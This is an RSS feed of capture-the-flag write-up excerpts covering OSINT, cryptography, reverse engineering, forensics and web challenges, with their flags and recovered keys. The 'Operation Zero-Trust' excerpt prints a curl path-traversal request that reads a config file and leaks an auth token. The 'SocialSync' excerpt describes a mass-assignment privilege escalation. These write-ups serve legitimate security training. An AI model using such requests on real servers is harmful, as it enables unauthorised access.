<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>hotwater</title><link>https://hotwater-online.xyz/</link><description>Recent content on hotwater</description><generator>Hugo</generator><language>en-us</language><lastBuildDate>Sun, 01 Nov 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://hotwater-online.xyz/index.xml" rel="self" type="application/rss+xml"/><item><title>Ananya's Shadow</title><link>https://hotwater-online.xyz/writeups/sea-of-secrets/ananyas-shadow/</link><pubDate>Sun, 01 Nov 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/sea-of-secrets/ananyas-shadow/</guid><description>&lt;p&gt;OSINT, Hard, 900 pts&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;Hack!tUp{sh4d0w_n0d3_unv31l3d_99}&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;The challenge links a blog (&lt;code&gt;webapp-ten-fawn.vercel.app&lt;/code&gt;, &amp;quot;Shadow Notes&amp;quot;) by &lt;code&gt;av_shadow01&lt;/code&gt;. Its Instagram, Twitter and GitHub pages are all mock pages inside the same app, so the real GitHub has nothing (&lt;code&gt;github.com/av_shadow_dev&lt;/code&gt; is a 404).&lt;/p&gt;&#10;&lt;p&gt;What the pages give:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;strong&gt;Instagram bio:&lt;/strong&gt; &lt;code&gt;R2l0SHViOiBhdl9zaGFkb3dfZGV2&lt;/code&gt; is Base64 for &lt;code&gt;GitHub: av_shadow_dev&lt;/code&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Cafe photo EXIF:&lt;/strong&gt; &lt;code&gt;ImageDescription: passphrase: Cyber_Shadow_01&lt;/code&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;Twitter:&lt;/strong&gt; a decoy &lt;code&gt;flag{ananya_is_not_here}&lt;/code&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;GitHub, deleted commit &amp;quot;Remove hardcoded config&amp;quot;:&lt;/strong&gt; the diff in &lt;code&gt;scripts/db_sync.py&lt;/code&gt; shows &lt;code&gt;PORTAL_KEY = &amp;quot;S3aTtl3_C0ff3e_L0v3r_99&amp;quot;&lt;/code&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;strong&gt;&lt;code&gt;blog_header.png&lt;/code&gt;:&lt;/strong&gt; an RGB-LSB message that repeats the pointer to the deleted commit. The PGP key at &lt;code&gt;/public_key.asc&lt;/code&gt; has nothing hidden.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;The README says the important files were moved &amp;quot;offline and into the shadows&amp;quot;. None of the visible pages link to anything, so I guessed paths on the blog. &lt;code&gt;/cache.zip&lt;/code&gt; returns a 477-byte WinZip AES-256 archive with two files.&lt;/p&gt;</description></item><item><title>ARGON: The Silent Vault</title><link>https://hotwater-online.xyz/writeups/sea-of-secrets/argon/</link><pubDate>Sun, 01 Nov 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/sea-of-secrets/argon/</guid><description>&lt;p&gt;Crypto, hard&lt;/p&gt;&#10;&lt;p&gt;Flag: &lt;code&gt;SOS{argon_48cec92a70e93a55b4e232c2b8a733a9}&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;We get &lt;code&gt;challenge.py&lt;/code&gt; (a format spec), &lt;code&gt;public.json&lt;/code&gt; (curve, public key &lt;code&gt;Q&lt;/code&gt;, salts, Argon2 params, channel map), &lt;code&gt;signatures.jsonl&lt;/code&gt; (96 ECDSA signatures over secp256k1), &lt;code&gt;diagnostics.bin&lt;/code&gt; (384 telemetry frames), and two AES-256-GCM blobs, &lt;code&gt;recovery.enc&lt;/code&gt; and &lt;code&gt;vault.enc&lt;/code&gt;. The chain is: ECDSA nonce leak gives the private key &lt;code&gt;d&lt;/code&gt;, &lt;code&gt;d&lt;/code&gt; opens the recovery blob, which holds an RSA instance whose plaintext feeds Argon2id to unlock the vault.&lt;/p&gt;&#10;&lt;h2 id="nonce-leak-to-private-key"&gt;&#10; &lt;a href="#nonce-leak-to-private-key" class="md-heading-anchor"&gt;&#10; Nonce leak to private key&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;Each telemetry frame is 20 bytes: a 16-byte &lt;code&gt;sig_id&lt;/code&gt;, a big-endian uint16 channel and a uint16 payload. Only channel &lt;code&gt;0x0042&lt;/code&gt; matters, since it leaks the top 10 bits of the nonce, &lt;code&gt;h = k &amp;gt;&amp;gt; 246&lt;/code&gt;. Matching on &lt;code&gt;sig_id&lt;/code&gt; gives a leak for all 96 signatures.&lt;/p&gt;</description></item><item><title>Captain's Keygen: The Cursed Treasure Lock</title><link>https://hotwater-online.xyz/writeups/sea-of-secrets/captains-keygen/</link><pubDate>Sun, 01 Nov 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/sea-of-secrets/captains-keygen/</guid><description>&lt;p&gt;Reverse Engineering, Hard, 500 pts&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;flag{th3_cur53d_m3r1d14n_y13ld5_1t5_g0ld_t0_th0rn3}&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;vault_lock&lt;/code&gt; is a stripped Linux x86-64 PIE ELF taking two inputs: a name and a 32-hex-char (16-byte) master key. Unusually for this kind of challenge, &lt;code&gt;compass_chart.txt&lt;/code&gt; hands over almost the entire algorithm in plain prose — the work is pinning down the exact constants and running the math, not fighting obfuscation.&lt;/p&gt;&#10;&lt;p&gt;The 16-byte key splits into four &amp;quot;watches&amp;quot; of four bytes each. Watch 0 is four unknown &amp;quot;master glyphs&amp;quot; &lt;code&gt;k0,k1,k2,k3&lt;/code&gt;; watches 1–3 are the same four bytes XORed with &lt;code&gt;0x5A&lt;/code&gt;, &lt;code&gt;0xA5&lt;/code&gt;, &lt;code&gt;0x3C&lt;/code&gt; respectively. So the whole 16-byte key has only 4 unknown bytes.&lt;/p&gt;</description></item><item><title>Captain's Last Assembly: Sector 7 Protocol</title><link>https://hotwater-online.xyz/writeups/sea-of-secrets/captains-last-assembly-sector-7/</link><pubDate>Sun, 01 Nov 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/sea-of-secrets/captains-last-assembly-sector-7/</guid><description>&lt;p&gt;Reverse Engineering, Hard, 500 pts&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;ICTF{QUANTUM_COLLISION_GATEWAY_BYPASS}&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;This is a Unity Mono build, so all game logic is plain IL in &lt;code&gt;CaptainsLastAssembly_Data/Managed/Assembly-CSharp.dll&lt;/code&gt;. The gates (a million credits at one per minute, a barrier in the corridor) only matter if you play it. The flag is decrypted by &lt;code&gt;VaultCoreTerminal.DecryptFlag&lt;/code&gt;, and everything it needs is in the assembly.&lt;/p&gt;&#10;&lt;p&gt;I had no .NET decompiler installed, so I parsed the metadata with Python's &lt;code&gt;dnfile&lt;/code&gt; and read the IL bytes. The static constructor fills two fields through &lt;code&gt;RuntimeHelpers.InitializeArray&lt;/code&gt;:&lt;/p&gt;</description></item><item><title>Chronos in the Octet Cage</title><link>https://hotwater-online.xyz/writeups/sea-of-secrets/chronos-in-the-octet-cage/</link><pubDate>Sun, 01 Nov 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/sea-of-secrets/chronos-in-the-octet-cage/</guid><description>&lt;p&gt;Crypto, Medium, 250 pts&lt;/p&gt;&#10;&lt;p&gt;Flag: &lt;code&gt;FLAG{ab3l1an_n0rm_unr4v3ls_scr4mbl3d_qu4t3rn10n_t3ns0r_9f2a}&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;chall.py&lt;/code&gt; defines a 4-dimensional algebra over Z_N with a structure tensor &lt;code&gt;GAMMA[k][a][b]&lt;/code&gt;, product &lt;code&gt;mix(X, Y)_k = sum GAMMA[k][a][b] X[a] Y[b] mod N&lt;/code&gt;, and &lt;code&gt;N = p*q&lt;/code&gt; with 512-bit primes. The output has &lt;code&gt;N&lt;/code&gt;, &lt;code&gt;e = 65537&lt;/code&gt;, a partial-key-exposure hint (&lt;code&gt;e_aux&lt;/code&gt;, &lt;code&gt;hint_d&lt;/code&gt;), eight telemetry records &lt;code&gt;{W1, W2, Z}&lt;/code&gt;, and &lt;code&gt;C_flag = F^e&lt;/code&gt; in the algebra. The flag is split into four 15-byte chunks, each stored as &lt;code&gt;chunk | rand &amp;lt;&amp;lt; 128&lt;/code&gt;.&lt;/p&gt;</description></item><item><title>Ghost Coordinates</title><link>https://hotwater-online.xyz/writeups/sea-of-secrets/ghost-coordinates/</link><pubDate>Sun, 01 Nov 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/sea-of-secrets/ghost-coordinates/</guid><description>&lt;p&gt;Forensics, Hard, 500 pts&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;FLAG{GHOST_ATOLL_14.4783S_138.2600W}&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;The S/V Obsidian Siren's GPS track, AIS log, deck logbook, photo EXIF, a sqlite navigation backup, and a scanned map were all recovered. The captain deliberately salted the record with two layers of deception, both described and named in &lt;code&gt;captain_navigation_notes.txt&lt;/code&gt;, which also gives the flag's exact template: &lt;code&gt;FLAG{&amp;lt;LOCATION_NAME&amp;gt;_&amp;lt;LAT&amp;gt;_&amp;lt;LON&amp;gt;}&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Decoy 1 — the purge point.&lt;/strong&gt; &lt;code&gt;navigation_track.gpx&lt;/code&gt; and &lt;code&gt;gps_history.csv&lt;/code&gt; both terminate at 14°57'S, 139°30'W. &lt;code&gt;navigation_backup.db&lt;/code&gt;'s &lt;code&gt;system_audit_log&lt;/code&gt; table explains why: a &lt;code&gt;TRACK_PURGE_COMMAND&lt;/code&gt; and &lt;code&gt;RF_JAMMER_ENGAGED&lt;/code&gt; entry at 2026-10-19T22:14–22:15Z, tied to waypoint &lt;code&gt;WPT_JAM_07&lt;/code&gt; (&amp;quot;Purge Coordinate Point&amp;quot;). The main GPS track is a dead end by design.&lt;/p&gt;</description></item><item><title>Ghost in the Storage</title><link>https://hotwater-online.xyz/writeups/sea-of-secrets/ghost-in-the-storage/</link><pubDate>Sun, 01 Nov 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/sea-of-secrets/ghost-in-the-storage/</guid><description>&lt;p&gt;Flag: &lt;code&gt;FLAG{d34d_m3n_t3ll_n0_t4l3s_but_fr33l1sts_d0_7a9f}&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;The zip holds an evidence tree from a Pixel 6a (Android 13) running &lt;code&gt;org.blackflag.keeper&lt;/code&gt;: the app's databases, shared_prefs, an image cache, logcat/dmesg, and an &lt;code&gt;android_backup/backup.ab&lt;/code&gt;. Everything under &lt;code&gt;evidence/app_data/&lt;/code&gt; is duplicated in the flattened &lt;code&gt;evidence/&lt;/code&gt; folders.&lt;/p&gt;&#10;&lt;h2 id="key-observation"&gt;&#10; &lt;a href="#key-observation" class="md-heading-anchor"&gt;&#10; Key observation&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;logcat spells out the recipe: AES key = PBKDF2(&lt;code&gt;&amp;lt;Chart_Passphrase&amp;gt;:&amp;lt;Waypoint_77_Sector_Token&amp;gt;&lt;/code&gt;, salt = &lt;code&gt;master_salt_hex&lt;/code&gt; from &lt;code&gt;crypto_state.xml&lt;/code&gt;, 100000 iterations), with a 16-byte IV stored in the message row. It also says the local &lt;code&gt;crypto_state.xml&lt;/code&gt; is sanitized, so the salt has to come from the ADB backup, and that &lt;code&gt;DELETE FROM transmissions WHERE id = 4&lt;/code&gt; ran while &lt;code&gt;VACUUM&lt;/code&gt; was skipped. So the ciphertext is the deleted row 4, and each key part lives in a different place.&lt;/p&gt;</description></item><item><title>Ghost Ship Unloaded</title><link>https://hotwater-online.xyz/writeups/sea-of-secrets/ghost-ship-unloaded/</link><pubDate>Sun, 01 Nov 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/sea-of-secrets/ghost-ship-unloaded/</guid><description>&lt;p&gt;Reverse Engineering, Hard, 300 pts&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;flag{gh0st_sh1p_j4v4_d3c0d3d_q4z4gn3_unm4sk3d_9f4c8a}&lt;/code&gt; (lowercase &lt;code&gt;flag{&lt;/code&gt;, as printed by the vault)&lt;/p&gt;&#10;&lt;p&gt;The files are &lt;code&gt;Remittance_Manifest.jar&lt;/code&gt;, &lt;code&gt;captains_log.enc&lt;/code&gt;, and &lt;code&gt;ship_manifest.json&lt;/code&gt;. The jar contains three encrypted blobs under &lt;code&gt;assets/&lt;/code&gt; and no &lt;code&gt;QaZagne&lt;/code&gt; class, which is loaded at runtime. Every key can be recovered statically.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Master key.&lt;/strong&gt; &lt;code&gt;Header.RAW_CHART&lt;/code&gt; is an int array. Each element is XORed with 90 and then with &lt;code&gt;(i*17+3)&amp;amp;255&lt;/code&gt;, giving:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;KEY:BlackMeridian171|IV:SargassoSea2026!|SEED:9942&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Both are 16 bytes, so AES-128-CBC.&lt;/p&gt;</description></item><item><title>Map Beneath the Ink</title><link>https://hotwater-online.xyz/writeups/sea-of-secrets/map-beneath-the-ink/</link><pubDate>Sun, 01 Nov 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/sea-of-secrets/map-beneath-the-ink/</guid><description>&lt;p&gt;Flag: &lt;code&gt;FLAG{DEAD_MANS_SHALLOWS_14_FATHOMS_OT-7729-CARIB}&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;The zip holds five images and a checksum file: &lt;code&gt;old_map.jpg&lt;/code&gt; (1718 survey chart), &lt;code&gt;treasure_map.png&lt;/code&gt; (Captain Vance's annotated copy), &lt;code&gt;captain_portrait.jpg&lt;/code&gt;, &lt;code&gt;ship_photograph.png&lt;/code&gt; and &lt;code&gt;historical_document.png&lt;/code&gt; (a quartermaster's deposition). &lt;code&gt;sha256sum -c checksums.sha256&lt;/code&gt; passes for all of them.&lt;/p&gt;&#10;&lt;h2 id="metadata"&gt;&#10; &lt;a href="#metadata" class="md-heading-anchor"&gt;&#10; Metadata&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;&lt;code&gt;exiftool&lt;/code&gt; on each image gives the hints.&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;historical_document.png&lt;/code&gt; has the instructions in its text: the deposition says to inspect the least significant bits of the blue channel, and that the vault code is built from three tokens: the reef name at the inverted anchor on &lt;code&gt;old_map.jpg&lt;/code&gt;, the sounding at that reef, and the vessel registry key from &lt;code&gt;ship_photograph.png&lt;/code&gt;.&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;ship_photograph.png&lt;/code&gt; has &lt;code&gt;Registry_Key: OT-7729-CARIB&lt;/code&gt; in its PNG text chunks.&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;captain_portrait.jpg&lt;/code&gt; carries a &amp;quot;DECOY LEAD NOTE&amp;quot; saying Gallows Rock was dug up in 1892 and held nothing.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;So the red &amp;quot;X / TREASURE BURIED HERE&amp;quot; on &lt;code&gt;treasure_map.png&lt;/code&gt; is a decoy. Compared with &lt;code&gt;old_map.jpg&lt;/code&gt;, Vance's copy also has the anchor flipped upright; in the original it is inverted, ring at the bottom, at &amp;quot;Dead Man's Shallows, Depth 14 Fathoms, Submerged Reef&amp;quot;.&lt;/p&gt;</description></item><item><title>Operation Zero-Trust — DSI Joint Operations Center</title><link>https://hotwater-online.xyz/writeups/sea-of-secrets/operation-zero-trust/</link><pubDate>Sun, 01 Nov 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/sea-of-secrets/operation-zero-trust/</guid><description>&lt;h2 id="flag"&gt;&#10; &lt;a href="#flag" class="md-heading-anchor"&gt;&#10; Flag&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;&lt;code&gt;FLAG{0p3r4t10n_Z3r0_TrusT_Byp4ss3d_99x}&lt;/code&gt;&lt;/p&gt;&#10;&lt;h2 id="discovery"&gt;&#10; &lt;a href="#discovery" class="md-heading-anchor"&gt;&#10; Discovery&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;The public portal at &lt;code&gt;https://operation.hackitupnow.tech/&lt;/code&gt; said that internal tools remained available through fallback routes. Its news page specifically mentioned a department &lt;code&gt;config.yaml&lt;/code&gt;. The report generator was reachable at &lt;code&gt;https://operation.hackitupnow.tech:13337/&lt;/code&gt;; &lt;code&gt;/generate&lt;/code&gt; returned &lt;code&gt;403 Forbidden&lt;/code&gt; with “Valid DSI auth token required.”&lt;/p&gt;&#10;&lt;p&gt;The config file was exposed through a path containing &lt;code&gt;..&lt;/code&gt;. Using &lt;code&gt;--path-as-is&lt;/code&gt; kept curl from normalizing that path before sending it:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="sh"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;sh&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sh" data-lang="sh"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;curl -ksS --path-as-is &lt;span class="se"&gt;\&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;https://operation.hackitupnow.tech/assets/../config.yaml&amp;#39;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The response identified the report generator on port &lt;code&gt;13337&lt;/code&gt;, its &lt;code&gt;/generate&lt;/code&gt; endpoint, and the token &lt;code&gt;dsi_internal_token_99x&lt;/code&gt;. The token was accepted as a &lt;code&gt;token&lt;/code&gt; query parameter:&lt;/p&gt;</description></item><item><title>Pirate's Last Algorithm</title><link>https://hotwater-online.xyz/writeups/sea-of-secrets/pirate-last-alo/</link><pubDate>Sun, 01 Nov 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/sea-of-secrets/pirate-last-alo/</guid><description>&lt;p&gt;Flag: &lt;code&gt;HACKITUP{b14ckth0rn_v4u1t_c04st41_4str014b3_m4st3r}&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;blackthorn_vault.exe&lt;/code&gt; is a 32-bit MinGW console PE (SHA-256 &lt;code&gt;27b3ae11c55316152af02e38629d2028ad1ff77bb20f0233ab5b31e1b1cb2198&lt;/code&gt;) that asks for a &amp;quot;Captain's authorization key&amp;quot;. It still has symbols, which gives away the layout: &lt;code&gt;g_astrolabe_program&lt;/code&gt;, &lt;code&gt;g_rune_table&lt;/code&gt;, &lt;code&gt;g_vault_ciphertext&lt;/code&gt;. The key is checked by a small bytecode VM, then a 32-bit hash, and the hash seeds an LCG that decrypts the flag.&lt;/p&gt;&#10;&lt;h2 id="data-locations"&gt;&#10; &lt;a href="#data-locations" class="md-heading-anchor"&gt;&#10; Data locations&#10; &lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;&lt;code&gt;.rdata&lt;/code&gt; is at VMA &lt;code&gt;0x404000&lt;/code&gt;, file offset &lt;code&gt;0x1a00&lt;/code&gt;, so &lt;code&gt;raw = 0x1a00 + (va - 0x404000)&lt;/code&gt;.&lt;/p&gt;</description></item><item><title>Poison</title><link>https://hotwater-online.xyz/writeups/sea-of-secrets/poison/</link><pubDate>Sun, 01 Nov 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/sea-of-secrets/poison/</guid><description>&lt;p&gt;Crypto, Medium, 200 pts&lt;/p&gt;&#10;&lt;p&gt;Flag: &lt;code&gt;flag{p01s0n3d_3cc_f4u1t_4tt4ck_succ3ss!}&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;We get &lt;code&gt;chall.py&lt;/code&gt; (and a Sage port, &lt;code&gt;chall.sage&lt;/code&gt;) and &lt;code&gt;out.txt&lt;/code&gt;. The challenge is ElGamal over P-192 (&lt;code&gt;secp192r1&lt;/code&gt;) where the flag, read as a big integer, is the private key &lt;code&gt;d&lt;/code&gt;, and &lt;code&gt;Q = d*G&lt;/code&gt;. A plaintext point M is encrypted as &lt;code&gt;C1 = k*G&lt;/code&gt;, &lt;code&gt;C2 = M + k*Q&lt;/code&gt;. &lt;code&gt;out.txt&lt;/code&gt; holds the plaintexts &lt;code&gt;ms&lt;/code&gt;, the ciphertexts &lt;code&gt;C1s&lt;/code&gt;, &lt;code&gt;C2s&lt;/code&gt;, and &lt;code&gt;decs&lt;/code&gt;, the outputs of a &amp;quot;faulty hardware&amp;quot; decryption.&lt;/p&gt;</description></item><item><title>Project Black Pearl: The Cursed Engine of Elias Blackthorn</title><link>https://hotwater-online.xyz/writeups/sea-of-secrets/project-black-pearl/</link><pubDate>Sun, 01 Nov 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/sea-of-secrets/project-black-pearl/</guid><description>&lt;p&gt;Reverse Engineering, Hard, 300 pts&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;FLAG{black_pearl_c4pt_7b9d_2e4f_8a1c_6d30_5f81_e92a_b}&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;black_pearl.exe&lt;/code&gt; is a stripped PE32+ console binary (MinGW GCC 14.1.0), &lt;code&gt;objdump -d -M intel&lt;/code&gt; is enough, no packing tricks. &lt;code&gt;sea_chart_fragment.txt&lt;/code&gt; is flavor text that explicitly admits it plants wrong keys to punish naive guessing (&lt;code&gt;d34d_m4n5_ch35...&lt;/code&gt;, &lt;code&gt;c4pt_bl4ck_b0n3...&lt;/code&gt;, &lt;code&gt;KEY=d34d_b33f_...&lt;/code&gt;) — none of them are real.&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;main&lt;/code&gt; reads &lt;code&gt;argv[1]&lt;/code&gt;, trims it, and compares the first 17 bytes against an XOR-0x5d obfuscated string at &lt;code&gt;0x14000a630&lt;/code&gt;:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;1b 11 1c 1a 26 3f 31 3c 3e 36 02 2d 38 3c 2f 31 02 ^ 0x5d -&amp;gt; &amp;#34;FLAG{black_pearl_&amp;#34;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Matching that exact prefix is the trap: it diverts into a dead buffer that can never pass. The real path needs the trimmed input to &lt;strong&gt;not&lt;/strong&gt; match it and to be exactly 36 characters, split into three 12-byte tokens that chain through four stages: &lt;code&gt;stage1(token1) -&amp;gt; key1&lt;/code&gt;, &lt;code&gt;stage2(token2, key1) -&amp;gt; vmres&lt;/code&gt;, &lt;code&gt;stage3(token3, vmres) -&amp;gt; fres&lt;/code&gt;, &lt;code&gt;stage4(key1, vmres, fres) -&amp;gt; pass/fail&lt;/code&gt;.&lt;/p&gt;</description></item><item><title>SocialSync: Vice City Underground</title><link>https://hotwater-online.xyz/writeups/sea-of-secrets/socialsync/</link><pubDate>Sun, 01 Nov 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/sea-of-secrets/socialsync/</guid><description>&lt;p&gt;&lt;code&gt;FLAG{H0w_E@5Y_1T_w@5}&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;Target: &lt;code&gt;https://social.hackitupnow.tech/&lt;/code&gt;, a link-in-bio style profile site. Vulnerability: mass assignment leading to privilege escalation. Backend is Django (&lt;code&gt;csrftoken&lt;/code&gt; cookie, &lt;code&gt;csrfmiddlewaretoken&lt;/code&gt; form field), fronted by Cloudflare.&lt;/p&gt;&#10;&lt;p&gt;The challenge description hints at &amp;quot;dynamic object attribute mapping during profile credential updates&amp;quot; and &amp;quot;elevating authority to administrative clearance&amp;quot; — a fairly direct pointer at the bug class. A third hint about passwords rhyming is a red herring toward the profile's &amp;quot;safehouse cipher&amp;quot; feature; that's not where the actual issue is.&lt;/p&gt;</description></item><item><title>Tetrix Secrets</title><link>https://hotwater-online.xyz/writeups/sea-of-secrets/tetrix-secrets/</link><pubDate>Sun, 01 Nov 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/sea-of-secrets/tetrix-secrets/</guid><description>&lt;p&gt;Reverse Engineering, Easy, 150 pts&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;Hack!tUp{A9xK2LmP0QrT7vW4YzB8cD1eF6gH3J5N0U2X9s}&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;The binary is a 93 MB Windows exe. &lt;code&gt;strings&lt;/code&gt; shows Godot engine text (&lt;code&gt;GDPC&lt;/code&gt;, &lt;code&gt;--remote-debug&lt;/code&gt;), so it is a Godot export with the data pack embedded in the exe. The description says the secret is &amp;quot;just waiting to be read&amp;quot;, and it is.&lt;/p&gt;&#10;&lt;p&gt;A byte search for anything flag-shaped:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="text"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;text&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;grep -a -o -E &amp;#39;[A-Za-z0-9_!]{3,12}\{[A-Za-z0-9_]{12,}\}&amp;#39; tetrix.exe&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;finds two candidates:&lt;/p&gt;&#10;&lt;ul&gt;&#10;&lt;li&gt;&lt;code&gt;THM{I_CAN_READ_IT_ALL}&lt;/code&gt; at offset 93001116, inside a packed scene next to the game-over menu labels. It looks like a placeholder from the game.&lt;/li&gt;&#10;&lt;li&gt;&lt;code&gt;Hack!tUp{A9xK2L...9s}&lt;/code&gt; at offset 93021728, after the final &lt;code&gt;GDPC&lt;/code&gt; trailer, so after the end of the embedded pack. Nobody puts that there by accident, and it uses the CTF's own format.&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;p&gt;I didn't run the game or unpack the pack, so I can't say what's inside it beyond these two strings. The &lt;code&gt;Hack!tUp{...}&lt;/code&gt; one was confirmed correct by the platform; &lt;code&gt;THM{...}&lt;/code&gt; was the fallback and wasn't needed.&lt;/p&gt;</description></item><item><title>The Captain's Last Log</title><link>https://hotwater-online.xyz/writeups/sea-of-secrets/the-captains-last-log/</link><pubDate>Sun, 01 Nov 2026 00:00:00 +0000</pubDate><guid>https://hotwater-online.xyz/writeups/sea-of-secrets/the-captains-last-log/</guid><description>&lt;p&gt;Forensics, Medium, 200 pts&lt;/p&gt;&#10;&lt;p&gt;&lt;code&gt;FLAG{v4nc3_s1l4s_d34d_m4ns_c4y_s3cr3t_1723}&lt;/code&gt;&lt;/p&gt;&#10;&lt;p&gt;The only file is &lt;code&gt;captain_disk.E01&lt;/code&gt;. There are no EWF tools on my box, so I read it directly. The volume section gives 64 sectors per chunk at 512 bytes, and the table section lists zlib-compressed chunk offsets. Inflating every chunk produces a 64 MiB raw image:&lt;/p&gt;&#10;&lt;div class="mb-codeblock" data-lang="python"&gt;&lt;div class="mb-codeblock-header"&gt;&lt;span class="mb-codeblock-badge"&gt;python&lt;/span&gt;&lt;button type="button" class="mb-action-btn" data-copy-code&gt;Copy code&lt;/button&gt;&lt;/div&gt;&lt;div class="mb-codeblock-content"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; 